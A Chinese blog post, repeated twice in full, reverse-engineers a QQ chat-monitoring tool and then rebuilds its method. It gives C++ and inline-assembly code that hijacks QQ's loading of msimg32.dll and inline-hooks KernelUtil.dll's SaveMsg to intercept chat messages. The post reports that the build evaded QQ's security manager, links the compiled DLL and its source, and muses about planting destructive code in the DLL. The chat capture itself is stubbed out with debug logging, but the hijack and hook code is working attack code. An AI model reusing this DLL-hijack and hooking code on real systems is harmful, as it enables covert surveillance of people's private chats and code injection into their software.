逆向分析楼月qq电脑监控软件8.21
程序员文章站
2022-06-28 09:55:08
免责声明 : 本帖子中的程序仅供学习之用,不得用于非法之事,否则后果自负。与本人无关!
这次我不破解了,只分析其原理,呵呵。
安装完后,用od加载并运行它。
经过调试,如...
免责声明 : 本帖子中的程序仅供学习之用,不得用于非法之事,否则后果自负。与本人无关!
这次我不破解了,只分析其原理,呵呵。
安装完后,用od加载并运行它。
经过调试,如下图
Smass会将自己安装目录下的im32.dll和msimg32.dll拷贝到qq的运行目录下。因为msimg32.dll是系统dll,qq运行时会加载它。所以我们用ida打开msimg32.dll,看看里面都做了什么。如图
用ida打开im32.dll,看看im32.dll做了什么,如图
其实im32.dll就是hook了KernelUtil.dll,转到msimg32.dll中的sub_10001000中。下面分析sub_10001000,如图:
经过上面的分析,我们可以知道此软件的原理:
1、 将自己编写的msimg32.dll和im32.dll拷贝到qq的目录下。
2、 Qq.exe运行时,会首先加载其目录下的msimg32.dll,而不是加载系统目录下的msimg32.dll。
3、 Qq目录下的msimg32.dll会加载系统目录下的msimg32.dll和im32.dll,并实现原msimg32.dll的接口。
4、 im32.dll加载后,会hook KernelUtil.dll 的函数?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z,使其转到sub_10001000中。
5、 在sub_10001000中,通过FindWindow和SendMessage把聊天消息发送到楼月客户端。
既然知道了原理,那就可以自己来实现了。
1、 创建一个dll工程msimg32
2、 实现系统msimg32.dll的接口
typedef void (WINAPI *_vSetDdrawflag)();
typedef BOOL (WINAPI *_AlphaBlend)(HDC hdcDest, int xoriginDest, int yoriginDest, int wDest,
int hDest, HDC hdcSrc, int xoriginSrc, int yoriginSrc, int wSrc, int hSrc, BLENDFUNCTION ftn);
typedef BOOL (WINAPI *_DllInitialize)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
typedef BOOL (WINAPI *_GradientFill)(HDC hdc, PTRIVERTEX pVertex, ULONG nVertex, PVOID pMesh, ULONG nMesh, ULONG ulMode);
typedef BOOL (WINAPI *_TransparentBlt)(HDC hdcDest, int xoriginDest, int yoriginDest, int wDest, int hDest,
HDC hdcSrc, int xoriginSrc, int yoriginSrc, int wSrc, int hSrc, UINT crTransparent);
_vSetDdrawflag g_p_vSetDdrawflag = NULL;
_AlphaBlend g_p_AlphaBlend = NULL;
_DllInitialize g_p_DllInitialize = NULL;
_GradientFill g_p_GradientFill = NULL;
_TransparentBlt g_p_TransparentBlt = NULL;
BOOL InitDll()
{
CString strSysDir;
GetSystemDirectoryEx( strSysDir );
strSysDir.AppendFormat( _T("\\msimg32.dll") );
HMODULE hDll = LoadLibrary( strSysDir );
if( NULL != hDll )
{
g_p_vSetDdrawflag = (_vSetDdrawflag)GetProcAddress( hDll, "vSetDdrawflag" );
g_p_AlphaBlend = (_AlphaBlend)GetProcAddress( hDll, "AlphaBlend" );
g_p_DllInitialize = (_DllInitialize)GetProcAddress( hDll, "DllInitialize" );
g_p_GradientFill = (_GradientFill)GetProcAddress( hDll, "GradientFill" );
g_p_TransparentBlt = (_TransparentBlt)GetProcAddress( hDll, "TransparentBlt" );
}
return (
( NULL != g_p_vSetDdrawflag ) && ( NULL != g_p_AlphaBlend ) &&
( NULL != g_p_DllInitialize ) && ( NULL != g_p_GradientFill ) &&
( NULL != g_p_TransparentBlt )
);
}
3、hook KernelUtil.dll 的函数?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z
typedef int (WINAPI *_SaveMsg)( DWORD, DWORD, DWORD, DWORD, DWORD, DWORD );
typedef int (WINAPI *_GetMsgAbstract)( DWORD, DWORD );
DWORD g_dwRetAddr = 0;
_SaveMsg g_p_SaveMsg = NULL;
_GetMsgAbstract g_p_GetMsgAbstract = NULL;
__declspec( naked ) void JmpFun()
{
_asm
{
pushfd
pushad
push dword ptr [ebp+0x1c] // 参数6
push dword ptr [ebp+0x18] // 参数5
push dword ptr [ebp+0x14] // 参数4
push dword ptr [ebp+0x10] // 参数3
push dword ptr [ebp+0x0c] // 参数2
push dword ptr [ebp+0x8] // 参数1
call Bob_SaveMsg
popad
popfd
//.text:3182BA70 push ebp
//.text:3182BA71 mov ebp, esp
//.text:3182BA73 push 0FFFFFFFFh
//.text:3182BA75 push offset loc_3185F4A8 // 这里是跳回的地址
//.text:3182BA7A mov eax, large fs:0
//.text:3182BA80 push eax
//.text:3182BA81 sub esp, 38h
//.text:3182BA84 push ebx
//.text:3182BA85 push esi
//.text:3182BA86 push edi
push ebp
mov ebp, esp
push 0x0FFFFFFFF
jmp g_dwRetAddr
}
}
BOOL BobHook()
{
BOOL bRet = FALSE;
HMODULE hDll = LoadLibraryW( DLL_NAME_OF_CRACK );
if( NULL != hDll )
{
g_p_SaveMsg = (_SaveMsg)GetProcAddress( hDll, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z" );
g_p_GetMsgAbstract = (_GetMsgAbstract)GetProcAddress( hDll, "?GetMsgAbstract@Msg@Util@@YA?AVCTXStringW@@PAUITXMsgPack@@@Z" );
if( NULL != g_p_SaveMsg && NULL != g_p_GetMsgAbstract )
{
DWORD dwTemp, dwOldFlag, dwCrack = (DWORD)g_p_SaveMsg;
g_dwRetAddr = dwCrack + LEN_OF_CRACK;
if( VirtualProtect( (LPVOID)dwCrack, LEN_OF_CRACK, PAGE_READWRITE, &dwOldFlag ) )
{
JmpCode struJmp;
struJmp.byJmpCode[3] = 0x0e9; // jmp
struJmp.dwJmpCode[1] = GetMachineCode( dwCrack, JmpFun );
bRet = WriteProcessMemory( GetCurrentProcess(), (LPVOID)dwCrack, &( struJmp.byJmpCode[3] ), LEN_OF_CRACK, &dwTemp );
VirtualProtect( (LPVOID)dwCrack, LEN_OF_CRACK, dwOldFlag, &dwTemp );
}
}
}
return bRet;
}
4、输出聊天信息
void WINAPI Bob_SaveMsg( int a1, const wchar_t *Format, const wchar_t *a3, const wchar_t *a4, int a5, int a6 )
{
if( NULL == g_p_GetMsgAbstract )
{
DbgOutput( _T("In Bob_SaveMsg(), g_p_GetMsgAbstract is NULL...") );
return;
}
// 这里只显示调试信息,不显示聊天数据了,呵呵
static int nCount = 1;
DbgOutput( _T("In Bob_SaveMsg(), nCount:%d ..."), nCount++ );
}
编译出msimg32.dll后,还需要修改msimg32.dll的导出表,使导出表的Name Ordinal和Name与系统的msimg32.dll一样。如图
修改后的msimg32.dll放到qq安装目录下就可以了,然后运行qq,如图:
我把传说中很牛逼的qq管家打开,然后运行qq,如图:
在这里我要废话一句,qq太不安全了、qq管家太弱了。如果我在msimg32.dll中写点破坏代码,那就。
dll和源码:
http://up.2cto.com/2012/0302/20120302105338340.rar
作者 guxinyi
这次我不破解了,只分析其原理,呵呵。
安装完后,用od加载并运行它。
经过调试,如下图
Smass会将自己安装目录下的im32.dll和msimg32.dll拷贝到qq的运行目录下。因为msimg32.dll是系统dll,qq运行时会加载它。所以我们用ida打开msimg32.dll,看看里面都做了什么。如图
用ida打开im32.dll,看看im32.dll做了什么,如图
其实im32.dll就是hook了KernelUtil.dll,转到msimg32.dll中的sub_10001000中。下面分析sub_10001000,如图:
经过上面的分析,我们可以知道此软件的原理:
1、 将自己编写的msimg32.dll和im32.dll拷贝到qq的目录下。
2、 Qq.exe运行时,会首先加载其目录下的msimg32.dll,而不是加载系统目录下的msimg32.dll。
3、 Qq目录下的msimg32.dll会加载系统目录下的msimg32.dll和im32.dll,并实现原msimg32.dll的接口。
4、 im32.dll加载后,会hook KernelUtil.dll 的函数?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z,使其转到sub_10001000中。
5、 在sub_10001000中,通过FindWindow和SendMessage把聊天消息发送到楼月客户端。
既然知道了原理,那就可以自己来实现了。
1、 创建一个dll工程msimg32
2、 实现系统msimg32.dll的接口
typedef void (WINAPI *_vSetDdrawflag)();
typedef BOOL (WINAPI *_AlphaBlend)(HDC hdcDest, int xoriginDest, int yoriginDest, int wDest,
int hDest, HDC hdcSrc, int xoriginSrc, int yoriginSrc, int wSrc, int hSrc, BLENDFUNCTION ftn);
typedef BOOL (WINAPI *_DllInitialize)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
typedef BOOL (WINAPI *_GradientFill)(HDC hdc, PTRIVERTEX pVertex, ULONG nVertex, PVOID pMesh, ULONG nMesh, ULONG ulMode);
typedef BOOL (WINAPI *_TransparentBlt)(HDC hdcDest, int xoriginDest, int yoriginDest, int wDest, int hDest,
HDC hdcSrc, int xoriginSrc, int yoriginSrc, int wSrc, int hSrc, UINT crTransparent);
_vSetDdrawflag g_p_vSetDdrawflag = NULL;
_AlphaBlend g_p_AlphaBlend = NULL;
_DllInitialize g_p_DllInitialize = NULL;
_GradientFill g_p_GradientFill = NULL;
_TransparentBlt g_p_TransparentBlt = NULL;
BOOL InitDll()
{
CString strSysDir;
GetSystemDirectoryEx( strSysDir );
strSysDir.AppendFormat( _T("\\msimg32.dll") );
HMODULE hDll = LoadLibrary( strSysDir );
if( NULL != hDll )
{
g_p_vSetDdrawflag = (_vSetDdrawflag)GetProcAddress( hDll, "vSetDdrawflag" );
g_p_AlphaBlend = (_AlphaBlend)GetProcAddress( hDll, "AlphaBlend" );
g_p_DllInitialize = (_DllInitialize)GetProcAddress( hDll, "DllInitialize" );
g_p_GradientFill = (_GradientFill)GetProcAddress( hDll, "GradientFill" );
g_p_TransparentBlt = (_TransparentBlt)GetProcAddress( hDll, "TransparentBlt" );
}
return (
( NULL != g_p_vSetDdrawflag ) && ( NULL != g_p_AlphaBlend ) &&
( NULL != g_p_DllInitialize ) && ( NULL != g_p_GradientFill ) &&
( NULL != g_p_TransparentBlt )
);
}
3、hook KernelUtil.dll 的函数?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z
typedef int (WINAPI *_SaveMsg)( DWORD, DWORD, DWORD, DWORD, DWORD, DWORD );
typedef int (WINAPI *_GetMsgAbstract)( DWORD, DWORD );
DWORD g_dwRetAddr = 0;
_SaveMsg g_p_SaveMsg = NULL;
_GetMsgAbstract g_p_GetMsgAbstract = NULL;
__declspec( naked ) void JmpFun()
{
_asm
{
pushfd
pushad
push dword ptr [ebp+0x1c] // 参数6
push dword ptr [ebp+0x18] // 参数5
push dword ptr [ebp+0x14] // 参数4
push dword ptr [ebp+0x10] // 参数3
push dword ptr [ebp+0x0c] // 参数2
push dword ptr [ebp+0x8] // 参数1
call Bob_SaveMsg
popad
popfd
//.text:3182BA70 push ebp
//.text:3182BA71 mov ebp, esp
//.text:3182BA73 push 0FFFFFFFFh
//.text:3182BA75 push offset loc_3185F4A8 // 这里是跳回的地址
//.text:3182BA7A mov eax, large fs:0
//.text:3182BA80 push eax
//.text:3182BA81 sub esp, 38h
//.text:3182BA84 push ebx
//.text:3182BA85 push esi
//.text:3182BA86 push edi
push ebp
mov ebp, esp
push 0x0FFFFFFFF
jmp g_dwRetAddr
}
}
BOOL BobHook()
{
BOOL bRet = FALSE;
HMODULE hDll = LoadLibraryW( DLL_NAME_OF_CRACK );
if( NULL != hDll )
{
g_p_SaveMsg = (_SaveMsg)GetProcAddress( hDll, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z" );
g_p_GetMsgAbstract = (_GetMsgAbstract)GetProcAddress( hDll, "?GetMsgAbstract@Msg@Util@@YA?AVCTXStringW@@PAUITXMsgPack@@@Z" );
if( NULL != g_p_SaveMsg && NULL != g_p_GetMsgAbstract )
{
DWORD dwTemp, dwOldFlag, dwCrack = (DWORD)g_p_SaveMsg;
g_dwRetAddr = dwCrack + LEN_OF_CRACK;
if( VirtualProtect( (LPVOID)dwCrack, LEN_OF_CRACK, PAGE_READWRITE, &dwOldFlag ) )
{
JmpCode struJmp;
struJmp.byJmpCode[3] = 0x0e9; // jmp
struJmp.dwJmpCode[1] = GetMachineCode( dwCrack, JmpFun );
bRet = WriteProcessMemory( GetCurrentProcess(), (LPVOID)dwCrack, &( struJmp.byJmpCode[3] ), LEN_OF_CRACK, &dwTemp );
VirtualProtect( (LPVOID)dwCrack, LEN_OF_CRACK, dwOldFlag, &dwTemp );
}
}
}
return bRet;
}
4、输出聊天信息
void WINAPI Bob_SaveMsg( int a1, const wchar_t *Format, const wchar_t *a3, const wchar_t *a4, int a5, int a6 )
{
if( NULL == g_p_GetMsgAbstract )
{
DbgOutput( _T("In Bob_SaveMsg(), g_p_GetMsgAbstract is NULL...") );
return;
}
// 这里只显示调试信息,不显示聊天数据了,呵呵
static int nCount = 1;
DbgOutput( _T("In Bob_SaveMsg(), nCount:%d ..."), nCount++ );
}
编译出msimg32.dll后,还需要修改msimg32.dll的导出表,使导出表的Name Ordinal和Name与系统的msimg32.dll一样。如图
修改后的msimg32.dll放到qq安装目录下就可以了,然后运行qq,如图:
我把传说中很牛逼的qq管家打开,然后运行qq,如图:
在这里我要废话一句,qq太不安全了、qq管家太弱了。如果我在msimg32.dll中写点破坏代码,那就。
dll和源码:
http://up.2cto.com/2012/0302/20120302105338340.rar
作者 guxinyi